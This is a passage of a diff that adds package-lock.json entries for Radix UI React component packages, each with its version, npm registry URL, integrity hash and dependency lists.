+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-focus-scope": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-focus-scope/-/react-focus-scope-1.1.1.tgz",
+ "integrity": "sha512-01omzJAYRxXdG2/he/+xy+c8a8gCydoQ1yOxnWNcRhrrBW5W+RQJ22EK1SaO8tb3WoUsuEw7mJjBozPzihDFjA==",
+ "dependencies": {
+ "@radix-ui/react-compose-refs": "1.1.1",
+ "@radix-ui/react-primitive": "2.0.1",
+ "@radix-ui/react-use-callback-ref": "1.1.0"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-hover-card": {
+ "version": "1.1.3",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-hover-card/-/react-hover-card-1.1.3.tgz",
+ "integrity": "sha512-D+o67Fd7fjkW10ycdsse1sYuGV9dNQKOhoVii7ksSfUYqQiTPxz9bP/Vu1g6huJ1651/2j8q7JGGWSIBIuGO1Q==",
+ "dependencies": {
+ "@radix-ui/primitive": "1.1.1",
+ "@radix-ui/react-compose-refs": "1.1.1",
+ "@radix-ui/react-context": "1.1.1",
+ "@radix-ui/react-dismissable-layer": "1.1.2",
+ "@radix-ui/react-popper": "1.2.1",
+ "@radix-ui/react-portal": "1.1.3",
+ "@radix-ui/react-presence": "1.1.2",
+ "@radix-ui/react-primitive": "2.0.1",
+ "@radix-ui/react-use-controllable-state": "1.1.0"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-id": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-id/-/react-id-1.1.0.tgz",
+ "integrity": "sha512-EJUrI8yYh7WOjNOqpoJaf1jlFIH2LvtgAl+YcFqNCa+4hj64ZXmPkAKOFs/ukjz3byN6bdb/AVUqHkI8/uWWMA==",
+ "dependencies": {
+ "@radix-ui/react-use-layout-effect": "1.1.0"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-label": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-label/-/react-label-2.1.1.tgz",
+ "integrity": "sha512-UUw5E4e/2+4kFMH7+YxORXGWggtY6sM8WIwh5RZchhLuUg2H1hc98Py+pr8HMz6rdaYrK2t296ZEjYLOCO5uUw==",
+ "dependencies": {
+ "@radix-ui/react-primitive": "2.0.1"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-menu": {
+ "version": "2.1.3",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-menu/-/react-menu-2.1.3.tgz",
+ "integrity": "sha512-wY5SY6yCiJYP+DMIy7RrjF4shoFpB9LJltliVwejBm8T2yepWDJgKBhIFYOGWYR/lFHOCtbstN9duZFu6gmveQ==",
+ "dependencies": {
+ "@radix-ui/primitive": "1.1.1",
+ "@radix-ui/react-collection": "1.1.1",
+ "@radix-ui/react-compose-refs": "1.1.1",
+ "@radix-ui/react-context": "1.1.1",
+ "@radix-ui/react-direction": "1.1.0",
+ "@radix-ui/react-dismissable-layer": "1.1.2",
+ "@radix-ui/react-focus-guards": "1.1.1",
+ "@radix-ui/react-focus-scope": "1.1.1",
+ "@radix-ui/react-id": "1.1.0",
+ "@radix-ui/react-popper": "1.2.1",
+ "@radix-ui/react-portal": "1.1.3",
+ "@radix-ui/react-presence": "1.1.2",
+ "@radix-ui/react-primitive": "2.0.1",
+ "@radix-ui/react-roving-focus": "1.1.1",
+ "@radix-ui/react-slot": "1.1.1",
+ "@radix-ui/react-use-callback-ref": "1.1.0",
+ "aria-hidden": "^1.1.1",
+ "react-remove-scroll": "2.6.0"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-menubar": {
+ "version": "1.1.3",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-menubar/-/react-menubar-1.1.3.tgz",
+ "integrity": "sha512-u4PF2TEFZlrXJVohn2pLlCEqw20rgG3M9yNlOkLTb8VSc5nuRdmfo47QeDrNyAbHUSXeWMJPDSPMamk2tvMVVg==",
+ "dependencies": {
+ "@radix-ui/primitive": "1.1.1",
+ "@radix-ui/react-collection": "1.1.1",
+ "@radix-ui/react-compose-refs": "1.1.1",
+ "@radix-ui/react-context": "1.1.1",
+ "@radix-ui/react-direction": "1.1.0",
+ "@radix-ui/react-id": "1.1.0",
+ "@radix-ui/react-menu": "2.1.3",
+ "@radix-ui/react-primitive": "2.0.1",
+ "@radix-ui/react-roving-focus": "1.1.1",
+ "@radix-ui/react-use-controllable-state": "1.1.0"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-navigation-menu": {
+ "version": "1.2.2",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-navigation-menu/-/react-navigation-menu-1.2.2.tgz",
+ "integrity": "sha512-7wHxgyNzOjsexOHFTXGJK/RDhKgrqj0siWJpm5i+sb7h+A6auY7efph6eMg0kOU4sVCLcbhHK7ZVueAXxOzvZA==",
+ "dependencies": {
+ "@radix-ui/primitive": "1.1.1",
+ "@radix-ui/react-collection": "1.1.1",
+ "@radix-ui/react-compose-refs": "1.1.1",
+ "@radix-ui/react-context": "1.1.1",
+ "@radix-ui/react-direction": "1.1.0",
+ "@radix-ui/react-dismissable-layer": "1.1.2",
+ "@radix-ui/react-id": "1.1.0",
+ "@radix-ui/react-presence": "1.1.2",
+ "@radix-ui/react-primitive": "2.0.1",
+ "@radix-ui/react-use-callback-ref": "1.1.0",
+ "@radix-ui/react-use-controllable-state": "1.1.0",
+ "@radix-ui/react-use-layout-effect": "1.1.0",
+ "@radix-ui/react-use-previous": "1.1.0",
+ "@radix-ui/react-visually-hidden": "1.1.1"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-popover": {
+ "version": "1.1.3",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-popover/-/react-popover-1.1.3.tgz",
+ "integrity": "sha512-MBDKFwRe6fi0LT8m/Jl4V8J3WbS/UfXJtsgg8Ym5w5AyPG3XfHH4zhBp1P8HmZK83T8J7UzVm6/JpDE3WMl1Dw==",
+ "dependencies": {
+ "@radix-ui/primitive": "1.1.1",
+ "@radix-ui/react-compose-refs": "1.1.1",
+ "@radix-ui/react-context": "1.1.1",
+ "@radix-ui/react-dismissable-layer": "1.1.2",
+ "@radix-ui/react-focus-guards": "1.1.1",
+ "@radix-ui/react-focus-scope": "1.1.1",
+ "@radix-ui/react-id": "1.1.0",
+ "@radix-ui/react-popper": "1.2.1",
+ "@radix-ui/react-portal": "1.1.3",
+ "@radix-ui/react-presence": "1.1.2",
+ "@radix-ui/react-primitive": "2.0.1",
+ "@radix-ui/react-slot": "1.1.1",
+ "@radix-ui/react-use-controllable-state": "1.1.0",
+ "aria-hidden": "^1.1.1",
+ "react-remove-scroll": "2.6.0"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-popper": {
+ "version": "1.2.1",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-popper/-/react-popper-1.2.1.tgz",
+ "integrity": "sha512-3kn5Me69L+jv82EKRuQCXdYyf1DqHwD2U/sxoNgBGCB7K9TRc3bQamQ+5EPM9EvyPdli0W41sROd+ZU1dTCztw==",
+ "dependencies": {
+ "@floating-ui/react-dom": "^2.0.0",
+ "@radix-ui/react-arrow": "1.1.1",
+ "@radix-ui/react-compose-refs": "1.1.1",
+ "@radix-ui/react-context": "1.1.1",
+ "@radix-ui/react-primitive": "2.0.1",
+ "@radix-ui/react-use-callback-ref": "1.1.0",
+ "@radix-ui/react-use-layout-effect": "1.1.0",
+ "@radix-ui/react-use-rect": "1.1.0",
+ "@radix-ui/react-use-size": "1.1.0",
+ "@radix-ui/rect": "1.1.0"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-portal": {
+ "version": "1.1.3",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-portal/-/react-portal-1.1.3.tgz",
+ "integrity": "sha512-NciRqhXnGojhT93RPyDaMPfLH3ZSl4jjIFbZQ1b/vxvZEdHsBZ49wP9w8L3HzUQwep01LcWtkUvm0OVB5JAHTw==",
+ "dependencies": {
+ "@radix-ui/react-primitive": "2.0.1",
+ "@radix-ui/react-use-layout-effect": "1.1.0"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-presence": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-presence/-/react-presence-1.1.2.tgz",
+ "integrity": "sha512-18TFr80t5EVgL9x1SwF/YGtfG+l0BS0PRAlCWBDoBEiDQjeKgnNZRVJp/oVBl24sr3Gbfwc/Qpj4OcWTQMsAEg==",
+ "dependencies": {
+ "@radix-ui/react-compose-refs": "1.1.1",
+ "@radix-ui/react-use-layout-effect": "1.1.0"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-primitive": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-primitive/-/react-primitive-2.0.1.tgz",
+ "integrity": "sha512-sHCWTtxwNn3L3fH8qAfnF3WbUZycW93SM1j3NFDzXBiz8D6F5UTTy8G1+WFEaiCdvCVRJWj6N2R4Xq6HdiHmDg==",
+ "dependencies": {
+ "@radix-ui/react-slot": "1.1.1"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-progress": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-progress/-/react-progress-1.1.1.tgz",
+ "integrity": "sha512-6diOawA84f/eMxFHcWut0aE1C2kyE9dOyCTQOMRR2C/qPiXz/X0SaiA/RLbapQaXUCmy0/hLMf9meSccD1N0pA==",
+ "dependencies": {
+ "@radix-ui/react-context": "1.1.1",
+ "@radix-ui/react-primitive": "2.0.1"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-radio-group": {
+ "version": "1.2.2",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-radio-group/-/react-radio-group-1.2.2.tgz",
+ "integrity": "sha512-E0MLLGfOP0l8P/NxgVzfXJ8w3Ch8cdO6UDzJfDChu4EJDy+/WdO5LqpdY8PYnCErkmZH3gZhDL1K7kQ41fAHuQ==",
+ "dependencies": {
+ "@radix-ui/primitive": "1.1.1",
+ "@radix-ui/react-compose-refs": "1.1.1",
+ "@radix-ui/react-context": "1.1.1",
+ "@radix-ui/react-direction": "1.1.0",
+ "@radix-ui/react-presence": "1.1.2",
+ "@radix-ui/react-primitive": "2.0.1",
+ "@radix-ui/react-roving-focus": "1.1.1",
+ "@radix-ui/react-use-controllable-state": "1.1.0",
+ "@radix-ui/react-use-previous": "1.1.0",
+ "@radix-ui/react-use-size": "1.1.0"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-roving-focus": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-roving-focus/-/react-roving-focus-1.1.1.tgz",
+ "integrity": "sha512-QE1RoxPGJ/Nm8Qmk0PxP8ojmoaS67i0s7hVssS7KuI2FQoc/uzVlZsqKfQvxPE6D8hICCPHJ4D88zNhT3OOmkw==",
+ "dependencies": {
+ "@radix-ui/primitive": "1.1.1",
+ "@radix-ui/react-collection": "1.1.1",
+ "@radix-ui/react-compose-refs": "1.1.1",
+ "@radix-ui/react-context": "1.1.1",
+ "@radix-ui/react-direction": "1.1.0",
+ "@radix-ui/react-id": "1.1.0",
+ "@radix-ui/react-primitive": "2.0.1",
+ "@radix-ui/react-use-callback-ref": "1.1.0",
+ "@radix-ui/react-use-controllable-state": "1.1.0"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-scroll-area": {
+ "version": "1.2.2",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-scroll-area/-/react-scroll-area-1.2.2.tgz",
+ "integrity": "sha512-EFI1N/S3YxZEW/lJ/H1jY3njlvTd8tBmgKEn4GHi51+aMm94i6NmAJstsm5cu3yJwYqYc93gpCPm21FeAbFk6g==",
+ "dependencies": {
+ "@radix-ui/number": "1.1.0",
+ "@radix-ui/primitive": "1.1.1",
+ "@radix-ui/react-compose-refs": "1.1.1",
+ "@radix-ui/react-context": "1.1.1",
+ "@radix-ui/react-direction": "1.1.0",
+ "@radix-ui/react-presence": "1.1.2",
+ "@radix-ui/react-primitive": "2.0.1",
+ "@radix-ui/react-use-callback-ref": "1.1.0",
+ "@radix-ui/react-use-layout-effect": "1.1.0"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-select": {
+ "version": "2.1.3",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-select/-/react-select-2.1.3.tgz",
+ "integrity": "sha512-tlLwaewTfrKetiex8iW9wwME/qrYlzlH0qcgYmos7xS54MO00SiPHasLoAykg/yVrjf41GQptPPi4oXzrP+sgg==",
+ "dependencies": {
+ "@radix-ui/number": "1.1.0",
+ "@radix-ui/primitive": "1.1.1",
+ "@radix-ui/react-collection": "1.1.1",
+ "@radix-ui/react-compose-refs": "1.1.1",
+ "@radix-ui/react-context": "1.1.1",
+ "@radix-ui/react-direction": "1.1.0",
+ "@radix-ui/react-dismissable-layer": "1.1.2",
+ "@radix-ui/react-focus-guards": "1.1.1",
+ "@radix-ui/react-focus-scope": "1.1.1",
+ "@radix-ui/react-id": "1.1.0",
+ "@radix-ui/react-popper": "1.2.1",
+ "@radix-ui/react-portal": "1.1.3",
+ "@radix-ui/react-primitive": "2.0.1",
+ "@radix-ui/react-slot": "1.1.1",
+ "@radix-ui/react-use-callback-ref": "1.1.0",
+ "@radix-ui/react-use-controllable-state": "1.1.0",
+ "@radix-ui/react-use-layout-effect": "1.1.0",
+ "@radix-ui/react-use-previous": "1.1.0",
+ "@radix-ui/react-visually-hidden": "1.1.1",
+ "aria-hidden": "^1.1.1",
+ "react-remove-scroll": "2.6.0"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-separator": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-separator/-/react-separator-1.1.1.tgz",
+ "integrity": "sha512-RRiNRSrD8iUiXriq/Y5n4/3iE8HzqgLHsusUSg5jVpU2+3tqcUFPJXHDymwEypunc2sWxDUS3UC+rkZRlHedsw==",
+ "dependencies": {
+ "@radix-ui/react-primitive": "2.0.1"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-slider": {
+ "version": "1.2.2",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-slider/-/react-slider-1.2.2.tgz",
+ "integrity": "sha512-sNlU06ii1/ZcbHf8I9En54ZPW0Vil/yPVg4vQMcFNjrIx51jsHbFl1HYHQvCIWJSr1q0ZmA+iIs/ZTv8h7HHSA==",
+ "dependencies": {
+ "@radix-ui/number": "1.1.0",
+ "@radix-ui/primitive": "1.1.1",
+ "@radix-ui/react-collection": "1.1.1",
+ "@radix-ui/react-compose-refs": "1.1.1",
+ "@radix-ui/react-context": "1.1.1",
+ "@radix-ui/react-direction": "1.1.0",
+ "@radix-ui/react-primitive": "2.0.1",
+ "@radix-ui/react-use-controllable-state": "1.1.0",
+ "@radix-ui/react-use-layout-effect": "1.1.0",
+ "@radix-ui/react-use-previous": "1.1.0",
+ "@radix-ui/react-use-size": "1.1.0"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-slot": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.1.1.tgz",
+ "integrity": "sha512-RApLLOcINYJA+dMVbOju7MYv1Mb2EBp2nH4HdDzXTSyaR5optlm6Otrz1euW3HbdOR8UmmFK06TD+A9frYWv+g==",
+ "dependencies": {
+ "@radix-ui/react-compose-refs": "1.1.1"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-switch": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-switch/-/react-switch-1.1.2.tgz",
+ "integrity": "sha512-zGukiWHjEdBCRyXvKR6iXAQG6qXm2esuAD6kDOi9Cn+1X6ev3ASo4+CsYaD6Fov9r/AQFekqnD/7+V0Cs6/98g==",
+ "dependencies": {
+ "@radix-ui/primitive": "1.1.1",
+ "@radix-ui/react-compose-refs": "1.1.1",
+ "@radix-ui/react-context": "1.1.1",
+ "@radix-ui/react-primitive": "2.0.1",
+ "@radix-ui/react-use-controllable-state": "1.1.0",
+ "@radix-ui/react-use-previous": "1.1.0",
+ "@radix-ui/react-use-size": "1.1.0"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-tabs": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-tabs/-/react-tabs-1.1.2.tgz",
+ "integrity": "sha512-9u/tQJMcC2aGq7KXpGivMm1mgq7oRJKXphDwdypPd/j21j/2znamPU8WkXgnhUaTrSFNIt8XhOyCAupg8/GbwQ==",
+ "dependencies": {
+ "@radix-ui/primitive": "1.1.1",
+ "@radix-ui/react-context": "1.1.1",
+ "@radix-ui/react-direction": "1.1.0",
+ "@radix-ui/react-id": "1.1.0",
+ "@radix-ui/react-presence": "1.1.2",
+ "@radix-ui/react-primitive": "2.0.1",
+ "@radix-ui/react-roving-focus": "1.1.1",
+ "@radix-ui/react-use-controllable-state": "1.1.0"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-toast": {
+ "version": "1.2.3",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-toast/-/react-toast-1.2.3.tgz",
+ "integrity": "sha512-oB8irs7CGAml6zWbum7MNySTH/sR7PM1ZQyLV8reO946u73sU83yZUKijrMLNbm4hTOrJY4tE8Oa/XUKrOr2Wg==",
+ "dependencies": {
+ "@radix-ui/primitive": "1.1.1",
+ "@radix-ui/react-collection": "1.1.1",
+ "@radix-ui/react-compose-refs": "1.1.1",
+ "@radix-ui/react-context": "1.1.1",
+ "@radix-ui/react-dismissable-layer": "1.1.2",
+ "@radix-ui/react-portal": "1.1.3",
+ "@radix-ui/react-presence": "1.1.2",
+ "@radix-ui/react-primitive": "2.0.1",
+ "@radix-ui/react-use-callback-ref": "1.1.0",
+ "@radix-ui/react-use-controllable-state": "1.1.0",
+ "@radix-ui/react-use-layout-effect": "1.1.0",
+ "@radix-ui/react-visually-hidden": "1.1.1"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-toggle": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-toggle/-/react-toggle-1.1.1.tgz",
+ "integrity": "sha512-i77tcgObYr743IonC1hrsnnPmszDRn8p+EGUsUt+5a/JFn28fxaM88Py6V2mc8J5kELMWishI0rLnuGLFD/nnQ==",
+ "dependencies": {
+ "@radix-ui/primitive": "1.1.1",
+ "@radix-ui/react-primitive": "2.0.1",
+ "@radix-ui/react-use-controllable-state": "1.1.0"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-toggle-group": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-toggle-group/-/react-toggle-group-1.1.1.tgz",
+ "integrity": "sha512-OgDLZEA30Ylyz8YSXvnGqIHtERqnUt1KUYTKdw/y8u7Ci6zGiJfXc02jahmcSNK3YcErqioj/9flWC9S1ihfwg==",
+ "dependencies": {
+ "@radix-ui/primitive": "1.1.1",
+ "@radix-ui/react-context": "1.1.1",
+ "@radix-ui/react-direction": "1.1.0",
+ "@radix-ui/react-primitive": "2.0.1",
+ "@radix-ui/react-roving-focus": "1.1.1",
+ "@radix-ui/react-toggle": "1.1.1",
+ "@radix-ui/react-use-controllable-state": "1.1.0"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-tooltip": {
+ "version": "1.1.5",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-tooltip/-/react-tooltip-1.1.5.tgz",
+ "integrity": "sha512-IucoQPcK5nwUuztaxBQvudvYwH58wtRcJlv1qvaMSyIbL9dEBfFN0vRf/D8xDbu6HmAJLlNGty4z8Na+vIqe9Q==",
+ "dependencies": {
+ "@radix-ui/primitive": "1.1.1",
+ "@radix-ui/react-compose-refs": "1.1.1",
+ "@radix-ui/react-context": "1.1.1",
+ "@radix-ui/react-dismissable-layer": "1.1.2",
+ "@radix-ui/react-id": "1.1.0",
+ "@radix-ui/react-popper": "1.2.1",
+ "@radix-ui/react-portal": "1.1.3",
+ "@radix-ui/react-presence": "1.1.2",
+ "@radix-ui/react-primitive": "2.0.1",
+ "@radix-ui/react-slot": "1.1.1",
